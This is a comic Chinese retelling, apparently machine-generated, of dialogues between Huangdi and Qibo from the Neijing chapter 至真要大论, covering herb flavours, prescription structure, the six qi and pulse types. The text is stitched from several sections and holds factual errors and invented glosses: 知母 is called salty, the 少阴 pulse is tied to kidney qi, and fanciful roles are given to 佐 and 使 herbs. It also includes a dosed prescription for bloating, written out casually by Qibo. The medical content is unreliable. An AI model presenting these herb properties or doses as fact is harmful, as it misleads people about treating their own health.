黄帝一听，眼睛一亮，心想：“嘿，这解释还挺有意思的！”岐伯一看黄帝这表情，就知道自己说对了，于是更加得意地继续说：“还有啊，这‘甘’就像是给厥阴之客准备的‘缓和剂’，能让它不那么急躁。你想啊，小捣蛋鬼要是太急躁了，咱们就得用点温和的手段来安抚它。比如说啊，甘草、大枣这些，都是‘甘’味的代表，它们能补脾益气、调和药性，让小捣蛋鬼知道咱们是讲道理的，不能乱来。” 黄帝一听，哈哈大笑，心想：“岐伯啊，你这解释真是太逗了！以后咱们中医的理论就这么讲，肯定能让更多人听懂！”岐伯一看黄帝笑得这么开心，也忍不住跟着笑了起来。 不过啊，岐伯可没忘记自己的职责，他接着又说：“黄帝啊，虽然咱们用‘辛’、‘酸’、‘甘’来对付厥阴之客，但也得根据实际情况来。毕竟啊，每个人的体质都不一样，小捣蛋鬼的脾气也不一样。所以啊，咱们得因人而异、因病而异，才能药到病除。” 黄帝眉头紧锁，一脸疑惑。他转头对身边的岐伯说：“岐伯啊，我这心里头有个事儿，老想不明白了。你说这少阴之客（中医术语，指侵入少阴经的邪气）要是病了，咱们该怎么治它呢？” 岐伯一听，哈哈一笑，捋了捋他那长长的白胡子，说道：“这事儿啊，简单！对付少阴之客，咱们得用‘咸补甘泻，咸收’的绝招。” 黄帝一听，更懵了：“啥？咸补甘泻，咸收？这听起来像是厨房里调味品的战斗啊！岐伯，你不会是想说，咱们得用盐巴和糖来治病吧？” 岐伯一听，笑得差点岔了气：“哎呀，黄帝啊，你的想象力真是太丰富了！不过，你说得也有那么点意思。咱们中医啊，讲究的是‘药食同源’，很多药材的味道，确实和咱们厨房里的调料有几分相似呢！” “首先啊，咱们说说这‘咸补’。咸味啊，在中医里可是个好东西，它能入肾经，帮助咱们补肾。你想啊，肾是咱们身体的‘发动机’，要是肾亏了，那可就麻烦大了。所以啊，对付少阴之客，咱们得先用点咸味的药材来补补。比如说，这个‘盐杜仲’啊，它就像是个小盐巴包，补肾效果杠杠的！” 黄帝一听，眼睛一亮：“哦，原来盐杜仲是补肾的小能手啊！那，那‘甘泻’又是咋回事呢？” 岐伯笑了笑，继续说道：“这‘甘泻’啊，就是说咱们得用点甘味的药材来泻掉少阴之客带来的邪气。甘味啊，在中医里能入脾经，帮助咱们健脾和胃。你想啊，要是脾胃不和，那吃什么都不香，身体能好吗？所以啊，咱们得用点甘味的药材来调和一下。比如说，这个‘炙甘草’啊，它就像是个小甜心，既能调和药性，又能帮咱们泻掉邪气。” 黄帝一听，哈哈大笑：“哈哈，炙甘草是小甜心，这比喻太逗了！那，那‘咸收’呢？不会是用盐巴来把邪气收起来吧？” 岐伯一听，差点没忍住笑出来：“黄帝啊，你这脑洞真是无人能敌！不过，‘咸收’可不是这个意思。这里的‘收’啊，是指收敛、固涩的意思。咸味的药材啊，除了能补肾之外，还能帮助咱们收敛身体的精气，不让它们随便流失。比如说，这个‘牡蛎’啊，它就像是个小卫士，能守住咱们身体的精气，不让少阴之客有机可乘。” 黄帝一听，连连点头：“哦，原来如此！看来，这中医还真是博大精深啊！岐伯啊，你能不能再给我举几个例子，让我更好地理解一下呢？” 岐伯一听，正中下怀，于是又滔滔不绝地讲了起来：“好啊！比如说，这个‘知母’啊，它也是咸味的药材，能清热泻火，滋阴润燥。你想啊，要是身体里的火气太大了，那不得烧坏了吗？所以，咱们得用点知母来降降火。还有啊，这个‘泽泻’啊，它也是甘味的药材，能利水渗湿，泄热通淋。你想啊，要是身体里湿气太重了，那不得发霉了吗？所以，咱们得用点泽泻来去去湿。” 黄帝老爷子闲来无事，就对身边的岐伯说：“嘿，岐伯啊，我一直有个事儿不明白，就是那个太阴之客啊，它要是惹出病了，咱们得怎么治它呢？”岐伯一听，哈哈一笑，说：“这事儿啊，简单！让我来给你上一课，保证你听完之后，不仅能治病，还能笑出腹肌来！” 黄帝一听，眼睛一亮，说：“哦？这么神奇？快说说看！” 岐伯清了清嗓子，开始了他的中药课堂：“首先啊，咱们得知道，这个太阴之客，它其实就是咱们身体里的一个小捣蛋鬼。它要是捣蛋起来，咱们就得想办法收拾它。那怎么个收拾法呢？很简单，咱们就用中药来对付它！” “首先，咱们得用甘味的中药来补它。”岐伯边说边比划，“你想啊，这个小捣蛋鬼，它要是捣蛋，肯定是因为它饿了或者没力气了。那咱们就得给它点好吃的，让它有力气，不再捣蛋。甘味的中药啊，就像咱们平时吃的糖一样，甜甜的，能让它开心起来，还能给它补充能量。比如说啊，这个大枣、甘草啊，都是甘味的中药，吃了之后，小捣蛋鬼就老实多了。” 黄帝一听，哈哈大笑：“原来这样啊，那苦味的中药呢？是不是就像咱们平时吃的苦瓜一样，专门用来收拾这个小捣蛋鬼的？” 岐伯一拍大腿：“对头！苦味的中药啊，就像咱们家里的严父一样，严厉得很！它能把小捣蛋鬼体内的那些多余的、不好的东西给赶出去。比如说啊，这个黄连、黄芩啊，都是苦味的中药，吃了之后，小捣蛋鬼就得乖乖听话，不敢再捣蛋了。” 黄帝听了，笑得前仰后合：“哈哈，这中药还真有意思！那甘缓又是怎么回事呢？” 岐伯神秘一笑：“甘缓啊，这个就更简单了。你想啊，这个小捣蛋鬼啊，它要是捣蛋起来，肯定是一阵风似的，到处乱跑。那咱们就得用点办法，让它慢下来，别跑那么快。甘缓的中药啊，就像咱们平时吃的一样，软绵绵的，能让它慢下来，好好想想自己的行为。比如说啊，这个蜂蜜、饴糖啊，都是甘缓的中药，吃了之后，小捣蛋鬼就变得懒洋洋的，不再到处捣乱了。” 黄帝听了，连声称赞：“老岐啊，你这中药课堂真是生动有趣！不过啊，我还是有点担心，万一这个小捣蛋鬼不吃这一套怎么办？” 岐伯哈哈一笑：“黄帝啊，你放心！这个小捣蛋鬼啊，它虽然捣蛋，但也是个吃货。只要咱们把中药做得好吃一点，它肯定会上当的。而且啊，咱们还可以根据不同的捣蛋鬼，制定不同的药方。比如说啊，要是这个小捣蛋鬼是寒性的，那咱们就用点热性的中药；要是它是热性的，那咱们就用点寒性的中药。这样一来，它还能不老实吗？” 至真要大论篇第七十四（十八） 黄帝闲来无事，就琢磨起医学来了。他可是个医学迷，总想找岐伯聊聊那些玄妙的中医理论。这不，他又开口了：“岐伯啊，我听说有个叫‘少阳之客’的东西，这玩意儿治病的道理，你能不能给我讲讲？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题可是问到点子上了。要说这‘少阳之客’，咱们得先明白啥是少阳。少阳啊，就是咱们中医里说的六腑之一——胆的代名词，它在五行里属木，跟春天、生长、生发这些词儿都沾边儿。而这‘客’呢，就像是来咱们家做客的亲戚，有时候来得是时候，给咱们带来好处；有时候呢，它来得不是时候，就得给它治治了。” 黄帝一听，来了兴趣：“哦？那咋治呢？是不是得拿啥灵丹妙药给它送走？” 岐伯摆摆手：“灵丹妙药倒不必，但得讲究点儿方法。这少阳之客要是捣蛋了，咱们就用咸味的东西来补补它，用甘味的东西来泻泻它，再用咸味的东西来软化软化它。” 黄帝一听，眉头一皱：“哎呀妈呀，这说的啥跟啥啊？咸补甘泻，还咸软？这不成做菜了吗？” 岐伯一听，笑得前仰后合：“黄帝啊，你这比喻倒是挺贴切。不过咱们这可不是做菜，是治病呢！来来来，我给你细细道来。” “先说咸补吧。你想啊，盐是咸的，对吧？在中医里，咸味能入肾，肾又是水脏，跟少阳胆的木性相生。所以，有时候少阳胆虚了，咱们就得用点咸味的东西来补补它。比如说，有些补肾壮阳的中药，比如海马、海狗肾这些，它们带点咸味，就能间接地补补少阳胆了。当然了，这可不是说让你直接吃盐巴啊，那得咸死人了！” 黄帝一听，恍然大悟：“哦~原来是这样，那甘泻呢？” 岐伯接着说：“甘泻啊，就是得用点甘甜的东西来泻泻少阳胆的火气。你想啊，甜味的东西吃多了，人是不是容易觉得腻、容易上火？所以啊，要是少阳胆的火气太旺了，咱们就得用点甘甜但又能清火的东西来泻泻它。比如说啊，有些清热的中药，比如菊花、金银花这些，它们虽然带点甜味，但更多的是清热泻火的作用。当然了，这也不是说让你直接吃糖啊，那得胖成啥样了！” 黄帝一听，哈哈大笑：“岐伯啊，你这解释真是通俗易懂啊！那咸软呢？这又是个啥玩意儿？” 岐伯笑道：“咸软啊，就是得用点咸味的东西来软化少阳胆里那些硬邦邦、不通畅的东西。你想啊，盐是不是能把硬的东西泡软了？所以啊，要是少阳胆里有些郁结、硬化啥的，咱们就得用点咸味的东西来软化软化它。比如说啊，有些软坚散结的中药，比如海藻、昆布这些，它们带点咸味，就能软化少阳胆里的那些硬块儿了。当然了，这也不是说让你用盐水泡澡啊，那得齁死人了！” 黄帝闲来无事，就对岐伯说：“嘿，岐伯啊，我这心里头老有个事儿过不去，就是想问问，那个阳明之客它到底是怎么个治病原理呢？你能不能给我说道说道？” 岐伯一听，嘿嘿一笑，说：“陛下啊，你这问题问得可是够专业的。不过呢，既然你诚心发问，那我就勉为其难地给你上一课吧。” 黄帝一听，立马来了精神，说：“快快快，赶紧的，我这耳朵都竖起来了。” 岐伯清了清嗓子，开始娓娓道来：“这阳明之客啊，其实就是说，当你的阳明经（在中医里，阳明经主要指的是手阳明大肠经和足阳明胃经）受到外邪侵袭或者内部失调的时候，它就会像一个不速之客一样，给你的身体捣乱。这时候，咱们就得想办法把它给请出去，或者给它调理顺了。” 黄帝点了点头，说：“哦，原来是这样啊。那要怎么请出去，或者调理顺呢？” 岐伯说：“这就得说到咱们中药的神奇之处了。对于阳明之客，咱们得用酸味的东西来补它，就像给它喂点好吃的，让它高兴高兴；然后再用辛味的东西来泻它，就像给它吃点辣椒，让它辣得直冒汗，把体内的邪气给逼出来；最后，再用苦味的东西来泄它，就像给它喝点苦茶，让它清清火，消消气。” 黄帝一听，眼睛一亮，说：“哇塞，这中药还有这么多讲究啊。那你能不能给我举几个例子，让我开开眼界？” 岐伯说：“当然可以啦。比如说酸味的东西，咱们常见的有山楂、乌梅啥的，它们都能入阳明经，给身体补补元气；辛味的东西呢，像生姜、大葱这些，吃了以后能让人发汗，把体内的邪气给逼出来；苦味的东西，比如黄连、黄柏这些，它们都能清热泻火，让身体保持平衡。” 黄帝一听，哈哈大笑，说：“岐伯啊，你这课讲得真是生动有趣啊。我以前还以为中药都是苦哈哈的呢，没想到还有这么多讲究和趣味。” 岐伯也跟着笑了起来，说：“中药这东西啊，可是咱们老祖宗留下来的宝贝。它不仅能治病救人，还能让人在品尝的过程中感受到生活的乐趣呢。” 说到这里，岐伯突然话锋一转，说：“不过啊，陛下，你可别以为知道了这些就能自己开药方子了啊。中药虽然好，但也得对症下药才行。不然的话，可是会闹出大笑话的哦。” 黄帝一听，连忙摆手，说：“哎呀哎呀，我可不敢不敢。我这人就是好奇心重，喜欢问东问西的。真正看病开药的事儿啊，还是得靠你们这些老中医才行。” 岐伯笑了笑，说：“这就对了嘛。咱们中医讲究的是望闻问切，四诊合参。没有个全面的了解和诊断，怎么能随便开药呢？” 说到这里，岐伯突然想起了什么，说：“对了陛下啊，你最近身体怎么样啊？有没有什么不舒服的地方啊？” 黄帝一听，连忙摆摆手，说：“没有没有，我这身体好着呢。就是有时候吃多了点，肚子有点胀胀的。” 岐伯一听，说：“那你这就是阳明经有点堵了呗。来来来，我给你开个方子，保证你吃了以后肚子舒舒服服的。” 黄帝一听，连忙说：“好啊好啊，那你赶紧写方子吧。” 于是岐伯拿起笔来，刷刷刷地写了一张方子递给黄帝。黄帝接过一看，只见上面写着：山楂10克、乌梅10克、生姜5克、黄连3克。 黄帝一看，说：“哎呀，这不就是你刚才说的那些药吗？你这方子开得也太简单了吧？” 岐伯笑了笑，说：“简单好啊，简单才容易记住嘛。而且啊，这方子虽然简单，但效果可不一定差哦。” 黄帝闲来无事，就琢磨起了一个深奥的问题：“岐伯啊，我一直很好奇，那个太阳之客它到底是怎么治病的呢？是不是跟咱们平时晒太阳补钙一个道理？” 岐伯一听，哈哈大笑：“黄帝啊，你这脑洞开得可真够大的！不过呢，太阳之客在中医里，可不是晒太阳那么简单。它呀，其实是指太阳经感受到的外邪，也就是咱们常说的风寒暑湿燥火这些捣蛋鬼。它们一旦溜进咱们的身体，就会在太阳经上搞破坏。” 黄帝眨巴眨巴眼睛：“哦，原来是这样啊！那咱们得怎么对付这些太阳之客呢？” 岐伯捋了捋胡子，一本正经地说：“对付它们，咱们得用点儿手段。首先啊，得用苦味的东西来补补太阳经，就像是给身体加点儿能量棒，让它更有力气去对抗外邪。然后呢，再用咸味的东西来泻泻火，把那些捣蛋鬼给赶出去。但是啊，光赶出去还不行，还得用苦味的东西再来巩固一下，就像是给身体筑起一道防火墙，防止它们再回来捣乱。最后呢，再用点儿辛味的东西来润润，就像是给身体抹点儿保湿霜，让它更滋润、更通透。” 黄帝听得频频点头：“嗯，这听起来挺有道理的。那这些苦味、咸味、辛味的东西，都是些什么玩意儿呢？” 岐伯神秘一笑：“哈哈，这你就问对人啦！苦味的东西啊，比如说黄连、黄芩这些，它们就像是身体里的清道夫，能把那些垃圾和毒素都给清理掉。咸味的东西呢，就像是身体里的消防员，能迅速扑灭那些由外邪引起的炎症和火灾。而辛味的东西呢，就像是身体里的润滑油，能让身体的各个部件都运转得更顺畅。” 黄帝一听，眼睛一亮：“哇，原来中药这么神奇啊！那这些中药又是怎么跟太阳经和内脏联系起来的呢？” 岐伯耐心地解释道：“太阳经啊，它跟咱们的小肠和膀胱关系最铁了。小肠是咱们身体的‘营养吸收站’，能把吃进去的食物转化为精微物质供给全身；而膀胱呢，就像是身体的‘废水处理厂’，能把多余的水分和毒素排出去。所以啊，当太阳经感受到外邪的时候，小肠和膀胱也会跟着遭殃。这时候啊，咱们就得用中药来帮它们一把了。” 黄帝听得津津有味：“那能不能给我举个例子呢？比如说用哪种中药来对付哪种外邪？” 岐伯想了想，说：“好啊！比如说啊，要是身体感受到了风寒之邪，咱们就可以用点儿麻黄和桂枝来发发汗，把寒气给逼出去。麻黄就像是身体里的暖气机，能把身体的温度给升上去；而桂枝呢，就像是身体里的导航仪，能引导气血去攻击那些风寒之邪。这样一来啊，风寒之邪就被咱们打得落花流水了！” *。黄帝闲来无事，便召来了岐伯，打算聊聊那些让人摸不着头脑却又高深莫测的阴阳理论。黄帝开口了，一脸认真地问道：“岐伯啊，我听说阴阳学说里还有个‘三’的说法，这究竟是怎么个意思呢？能不能给我这个门外汉讲讲？” 岐伯一听，心里暗笑黄帝的求知欲，但面上却是一本正经地回答：“陛下啊，这阴阳学说里的‘三’，其实就是说阴阳之气有多有少，它们的作用也就各不相同了。您想啊，这世界上哪有两片完全一样的叶子呢？阴阳之气也是这样，有强有弱，有多有少，这才构成了咱们这个丰富多彩的世界嘛！” 黄帝一听，点了点头，似乎明白了点儿什么，但又觉得还不够过瘾，于是又抛出了第二个问题：“岐伯啊，我听说还有个叫‘阳明’的概念，这又是咋回事呢？是不是跟太阳有啥关系？” 岐伯一听，差点儿没忍住笑出声来，心想黄帝这脑洞也是够大的。但他还是耐心地解释道：“陛下啊，‘阳明’可不是说太阳有多明亮，而是指两个阳气的‘大佬’聚在一起，强强联手，那光芒自然就更加耀眼了。在中医里，阳明可是个很重要的概念，它代表着咱们身体里的阳气充足，生命力旺盛。就像咱们平时说的‘阳光总在风雨后’，有了阳明之气，咱们的身体才能更健康、更有活力嘛！” 黄帝一听，眼睛一亮，似乎找到了什么新大陆，接着又追问道：“那‘厥阴’又是咋回事呢？听起来好像挺神秘的。” 岐伯一听，心里那个乐啊，心想黄帝今天这是要跟阴阳学说“杠”上到底了。但他还是强忍着笑意，一本正经地回答：“陛下啊，‘厥阴’这个词儿听起来确实挺玄乎的，但其实它就是两个阴气的‘小喽啰’凑在一起，互相取暖，苟延残喘的意思。在中医里，厥阴代表着咱们身体里的阴气过重，生命力相对较弱。不过您也别太担心，毕竟阴阳是相互依存、相互制约的。只要咱们调养得当，保持阴阳平衡，厥阴之气也就不足为惧了。” 黄帝一听，这才恍然大悟，原来阴阳学说里的这些概念都是这么来的啊！他心想，这岐伯真是个“宝藏男孩”，不仅学识渊博，还能把深奥的中医理论讲得这么生动有趣。 不过黄帝转念一想，又觉得这事儿还没完。他琢磨着，既然阴阳学说这么神奇，那能不能把它应用到日常生活中呢？于是他又问岐伯：“岐伯啊，你说咱们能不能根据阴阳学说，来制定一些养生的小妙招呢？” 岐伯一听，心想黄帝这思路真是够开阔的。他想了想，然后回答道：“当然可以啦！陛下您看，咱们平时说的‘早睡早起身体好’，其实就是根据阴阳学说来的。早上是阳气生发的时候，咱们这时候起床活动，就能顺应阳气，让身体更有活力。晚上是阴气收敛的时候，咱们这时候睡觉休息，就能顺应阴气，让身体得到充分的恢复。” 黄帝一听，觉得这主意不错，于是又追问道：“那除了睡觉起床，还有没有其他养生的小妙招呢？” 岐伯一听，心里那个得意啊，心想黄帝这是真上道了。他想了想，然后回答道：“当然有啦！陛下您看，咱们平时吃的那些食物，也都有阴阳之分。比如说，热性的食物就属于阳性，吃了能让人身体暖和，精神振奋；而寒性的食物就属于阴性，吃了能让人身体凉爽，心情平静。所以咱们在吃东西的时候，也得注意阴阳平衡，不能光吃热性的或者光吃寒性的，不然身体就会出问题啦！” 至真要大论篇第七十四（十九） 话说有一天，黄帝突然心血来潮，问岐伯：“岐伯啊，你说这气有多少种，病有盛有衰，治疗起来有急有缓，方子还有大有小，这中间的道理，你给我简单说说呗？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得可是真大！不过没关系，咱慢慢聊。你看啊，这气，它可不是一般的气，它有高有低，就像咱们人的心情，有时候高兴得飘上天，有时候又郁闷得掉地底。病呢，也是有远有近，有的病就在表面，比如感冒咳嗽，一眼就能看出来；有的病呢，藏得深，得慢慢找，比如那些慢性病。 “说到治疗，那就更讲究了。你得看病的轻重缓急，还有病人的体质，来决定用什么药，用多少。就像咱们做饭，盐放多了咸，放少了淡，得刚刚好才行。 “《大要》这本书啊，它说了个很有趣的规律。就是说，如果方子里的药，君药（就是最主要的药）是一味，臣药（辅助的药）是两味，那就是奇数的搭配，叫‘奇之制’。如果君药两味，臣药四味，那就是偶数的搭配，叫‘偶之制’。还有啊，君药两味，臣药三味，也是奇数的搭配；君药三味，臣药六味，就是偶数的搭配。 “黄帝啊，你听听这多有趣，就像咱们玩牌一样，有单有双，还有规律可循。这其实就是告诉我们，治病得看具体情况，近处的病，就用奇数的方子，远处的病，就用偶数的方子。 “不过啊，这里还有个讲究，就是如果你要让病人出汗，那就不能用奇数的方子，因为出汗得慢慢来，急不得。要是你想让病人拉肚子，那也不能用偶数的方子，因为拉肚子得一下子解决，拖不得。 “还有啊，如果你要补上面的病，比如肺啊、心啊，那就得用缓和的药，慢慢来，不能急。要是补下面的病，比如肾啊、肝啊，那就得用猛一点的药，因为那些地方藏得深，得用大力气才能到。 “说到这，我得给你举个例子。比如说，咱们有个中药叫黄芪，它是补气的，特别温和，就像老太太织毛衣一样，一针一线慢慢来。但是呢，你要是用它来治下面的病，比如肾气虚，那就不行了，得加点猛药，比如附子，它就像个小火箭，一下子就能冲到肾那里去。 “所以啊，急的时候，咱们就得用气味厚的药，就像吃火锅，一下子就能热起来。缓的时候，咱们就用气味薄的药，就像喝绿茶，慢慢品味。 “黄帝啊，你说这中药治病是不是很有意思？就像咱们玩游戏，得根据规则来，但是又不能太死板，得灵活运用。 “还有啊，有些病啊，它藏得特别深，就像捉迷藏一样，你得先把它引出来，然后再一网打尽。比如说，有个方子叫‘半夏泻心汤’，它里面的半夏就像个钩子，能把藏在心里的病给勾出来。但是呢，你得小心，不能一下子勾得太猛，得慢慢来，不然病人会受不了。 “说到这，我得给你讲个笑话。有一次啊，有个病人来找我，他说：‘岐伯啊，我这肚子老是疼，吃了好多药都不管用。’我一看，哎呀，这肚子啊，就像个战场，各种药都在里面打架呢。我就跟他说：‘你这是吃错药了！’他一听，愣住了，说：‘我吃错药了？那怎么办呢？’我就说：‘你得先停停，让肚子里的药自己打一架，分出胜负来，然后再吃对的药。’他一听，哈哈大笑，说：‘岐伯啊，你真是个神医！’ “所以啊，黄帝啊，你看这中药治病，是不是既科学又有趣？就像咱们玩游戏一样，得根据规则来，但是又不能太死板，得灵活运用。而且啊，这中药啊，它还有个性呢！有的喜欢热，有的喜欢凉，有的喜欢湿，有的喜欢干。你得把它们都伺候好了，它们才会好好给你治病。 “比如说啊，有个中药叫黄连，它就是个‘冰美人’，特别喜欢凉。你要是把它放在热的地方，它就会生气，然后就不给你治病了。所以啊，咱们得把它放在凉凉的地方，它才会开心，然后才会把它的药效发挥出来。 “再比如说啊，有个中药叫肉桂，它就是个‘暖男’，特别喜欢热。你要是把它放在冷的地方，它就会伤心，然后也就不给你治病了。所以啊，咱们得把它放在暖暖的地方，它才会开心，然后才会把它的药效发挥出来。 “黄帝啊，你看这中药治病，是不是就像咱们交朋友一样？你得了解它们的个性，然后才能跟它们好好相处，才能让它们帮你治病。 “还有啊，这中药啊，它还有自己的团队呢！就像咱们打篮球一样，有前锋、有后卫、有中锋。这中药啊，也有君、臣、佐、使。君药就是队长，负责带领大家 打仗；臣药就是队员，负责辅助队长；佐药就是教练，负责出谋划策；使药就是裁判，负责保证比赛的公平。 “所以啊，黄帝啊，你看这中药治病，是不是既深奥又有趣？就像咱们打一场篮球赛一样，得配合默契，才能赢得胜利。 “不过啊，我得提醒你一句，这中药啊，虽然好，但是也不能乱吃。就像咱们吃东西一样，得适量才行。不然的话，就会适得其反，甚至危及生命。所以啊，咱们在用药的时候，一定得小心谨慎才行。 黄帝坐在龙椅上，摸着下巴上那几根珍贵的龙须，一脸沉思状：“嗯，岐伯啊，你说得对，疾病确实是从身体的根本（本）上生出来的，这一点我已经get到了。但是呢，如果疾病是从表面现象（标）上冒出来的，咱们又该怎么对付它呢？总不能看着它嚣张跋扈，咱却束手无策吧？” 岐伯一听，心里暗自嘀咕：“这皇上，还真是爱钻牛角尖啊。”但他脸上却堆满了笑容，仿佛在说：“皇上，您这问题问得好，问得妙，问得呱呱叫！”然后，他缓缓开口：“皇上啊，您想啊，疾病这家伙，它要是反了它的根本，跑到表面上来撒野，那咱们就得反过来，从它的表面现象入手，找到它的根本病因，然后再给它来个釜底抽薪，标本兼治！” 黄帝一听，眼睛一亮：“哦？你是说，咱们得来个‘反间计’，从表面现象入手，找到疾病的本质，然后再用特定的药方来收拾它？” 岐伯点头如捣蒜：“对对对，皇上您真是聪明绝顶，一点就透！咱们中医讲究的就是这个‘辩证施治’，得根据疾病的表面现象（标），来推断它的根本原因（本），然后再下药。” 黄帝一听，心里乐开了花：“哈哈，看来我这龙椅没白坐，中医的奥秘我还是能懂那么一点点的嘛！” 不过，岐伯可没打算就这么放过他，他接着说道：“皇上啊，您可别高兴得太早。这中医啊，可是一门深奥的学问，不是您那几根龙须能轻易搞定的。就说这治标和治本吧，那可是有大学问的。” 黄帝一听，眉头又皱了起来：“哦？那你说说看，这治标和治本到底有啥大学问？” 岐伯清了清嗓子，开始了他的“中医大讲堂”：“皇上啊，您想啊，这疾病啊，就像是一个调皮捣蛋的孩子。它要是只是表面上调皮，比如发个烧啊，咳嗽几声啊，那咱们就得像对待调皮的孩子一样，给它点‘小惩罚’，让它知道厉害，也就是治标。比如用点清热解毒的中药，像金银花、连翘啥的，给它降降火，让它别再闹腾了。” 黄帝一听，点了点头：“嗯，这个我懂，就像是我有时候对那些调皮的大臣们，给他们点小处分，让他们长长记性。” 岐伯一看黄帝上钩了，赶紧接着往下说：“但是啊，要是这孩子调皮得太过分了，比如得了什么大病啊，那就得好好找找原因了。是不是家里管教不严啊？还是孩子自己身体太弱啊？找到了原因，咱们再对症下药，也就是治本。比如用点补益气血的中药，像黄芪、当归啥的，给它补补身子，让它有力气去对抗疾病。” 黄帝一听，眼睛又亮了：“哦？这么说来，这治标和治本就像是教育孩子一样，得根据不同的情况来采取不同的方法了？” 岐伯一拍大腿：“对对对！皇上您真是举一反三啊！就像是大臣们要是只是犯点小错，咱们就给他们点警告，让他们别再犯；但要是犯了大错，那就得好好找找原因了，是不是制度有问题啊？还是他们自己思想觉悟不够啊？找到了原因，咱们再给他们来个‘灵魂洗礼’，让他们重新做人！” 黄帝一听，哈哈大笑：“哈哈，岐伯啊，你这比喻真是太贴切了！看来我这龙椅还真得多坐坐，多听听你的中医大讲堂啊！” 岐伯一听，也笑了起来：“皇上您太客气了，能为皇上效劳，那是我的荣幸啊！” 不过，岐伯可没打算就这么结束这场“中医大辩论”，他接着说道：“皇上啊，您知道吗？这中医啊，不仅讲究治标和治本，还讲究‘预防为主’。就像是大臣们啊，咱们得提前给他们打好预防针，让他们知道什么是能做的，什么是不能做的。这样，他们就不会轻易犯错了。” 黄帝一听，若有所思：“嗯，你说得对。这就像是我有时候得提前给那些大臣们下个‘圣旨’，让他们知道我的底线在哪里，他们就不会轻易越线了。” 岐伯一听，赶紧点头：“对对对！皇上您真是英明神武啊！这中医啊，就得像您这样，既要有治标的能力，又要有治本的智 慧，还得有预防的意识。这样才能真正做到‘上医治未病’啊！” 黄帝又找上了岐伯，说：“岐伯啊，我听说这六气（风、寒、暑、湿、燥、火）要是太猛了，人体就会受不了，对吧？那咱咋知道它们啥时候来势汹汹呢？” 岐伯微微一笑，那叫一个风轻云淡：“黄帝啊，这事儿简单，你就看它们啥时候‘乘其至’就行了。啥是‘乘其至’呢？就好比说，突然一阵大风刮来，把树都吹弯了腰，那就是风大来，风木受邪，肝就要倒霉了，肝病就可能找上门了。这五行里啊，风对应木，木又生肝，所以这风一来，肝就得小心点。” 黄帝一听，恍然大悟：“哦，原来是这样啊！那要是热气大来呢？” 岐伯继续道：“热气大来，那就是火之胜了。你想啊，大夏天的，太阳火辣辣的，烤得大地都冒烟，这时候金燥（肺）就得遭殃了，因为火克金嘛。所以，热气一来，肺病就可能跟着来了。这五行相克的道理，黄帝你应该比我清楚吧？” 黄帝挠挠头：“清楚清楚，就是有时候容易忘。那寒气大来呢？” 岐伯笑得那叫一个开心：“寒气大来，那就是水之胜了。你想啊，冬天那北风嗖嗖的，冻得人都快成冰棍了，这时候火热（心）就得小心了，因为水克火嘛。所以，寒气一来，心病就可能找上门了。这道理跟夏天吃冰淇淋容易拉肚子是一样的，都是五行相克在作怪。” 黄帝一听，哈哈大笑：“岐伯啊，你这解释得太接地气了，我都能听懂了。那湿气大来呢？” 岐伯大神道：“湿气大来，那就是土之胜了。你想啊，连绵的阴雨天气，到处都是湿漉漉的，这时候寒水（肾）就得小心了，因为土克水嘛。所以，湿气一来，肾病就可能跟着来了。这就好比说，你把衣服晾在外面，连续几天都下雨，那衣服能不潮吗？同样的道理，人体要是长期处于潮湿环境，肾也容易出问题。” 黄帝点头如捣蒜：“对对对，这个我明白。那风气大来呢？” 岐伯笑道：“风气大来，那就是木之胜了。这时候土湿（脾）就得遭殃了，因为木克土嘛。所以，风气一来，脾病就可能找上门了。这就好比说，一阵大风刮过，把地上的泥土都吹得满天飞，那土壤还能肥沃吗？同样的道理，人体要是长期处于大风环境，脾也容易出问题。” 黄帝一听，忍不住拍手叫好：“岐伯啊，你这解释得太形象了，我都能想象出那些场景了。那你说的‘乘年之虚、失时之和、遇月之空’又是啥意思呢？” 岐伯解释道：“黄帝啊，这‘乘年之虚’就是说，如果人体在某一年的体质比较虚弱，那就更容易受到六气的侵袭了。就好比说，你本来就感冒了，结果还跑去游泳，那不是雪上加霜嘛。‘失时之和’呢，就是说，如果人体没有顺应四时的变化来调整自己的作息和饮食，那也更容易受到六气的侵袭。就好比说，大冬天的你吃冰淇淋，那不是自找苦吃吗？‘遇月之空’呢，就是说，如果人体在某一月的生理周期比较特殊，比如女性朋友的经期啥的，那也更容易受到六气的侵袭。就好比说，你经期的时候剧烈运动，那不是给自己找不痛快嘛。” 黄帝一听，连连点头：“对对对，岐伯啊，你这解释得太透彻了，我都听懂了。那你说的‘重感于邪，则病危矣’呢？” 岐伯叹了口气：“黄帝啊，这‘重感于邪’就是说，如果人体在短时间内连续受到多种六气的侵袭，那病情就可能非常严重了。就好比说，你本来就感冒了，结果又淋了雨、吹了风、吃了冷饮啥的，那病情能不加重吗？所以啊，咱们平时还是得注意保养身体，别让六气有机可乘。” 黄帝一听，顿时心生敬畏：“岐伯啊，你这话说得太对了。那咱们平时该怎么做才能预防这些病呢？” 岐伯微微一笑：“黄帝啊，这事儿也不难。你就记住‘顺应四时、调和阴阳、平衡五行’就行了。平时多吃点五谷杂粮、蔬菜水果啥的，保持心情愉悦、作息规律啥的，那就能大大减少生病的几率了。” 至真要大论篇第七十四（二十） 黄帝问岐伯：“岐伯啊，你说这脉象到底是个啥玩意儿？各种脉象来了，都是啥样子的呢？” 岐伯一听，哈哈一笑，说：“陛下啊，你这问题问得好！来来来，我给你细细道来。” “先说厥阴脉吧，这厥阴脉一来，就像那紧绷的琴弦一样，弦得要命！你想象一下，你正在弹琴，突然弦断了，那声音‘嘭’的一声，吓你一跳，对吧？厥阴脉就这样，弦得让人心惊胆战，说明身体里的肝气可能不太顺畅哦。” 黄帝一听，笑得前仰后合：“哈哈，原来厥阴脉是‘弦’音大师啊！” 岐伯接着说：“再来说说少阴脉，这少阴脉一来，就像那弯弯的钩子一样，钩得人心痒痒。你想象一下，你正在钓鱼，鱼漂突然沉了下去，你一提竿，一条大鱼就被钩了上来，那感觉多爽？少阴脉就这样，钩得你心里美滋滋的，说明肾气还算充足。” 黄帝又笑了：“哈哈，少阴脉原来是‘钩’鱼高手啊！” 岐伯继续讲：“然后是太阴脉，这太阴脉一来，就像那深深的井底一样，沉得让人喘不过气。你想象一下，你正在打井，一铲子一铲子地挖，挖到最后，终于见到了水，但你也累得够呛。太阴脉就这样，沉得让人感觉身体里的脾气或者肺气可能有些虚弱。” 黄帝笑得眼泪都出来了：“哈哈，太阴脉原来是‘沉’井大侠啊！” 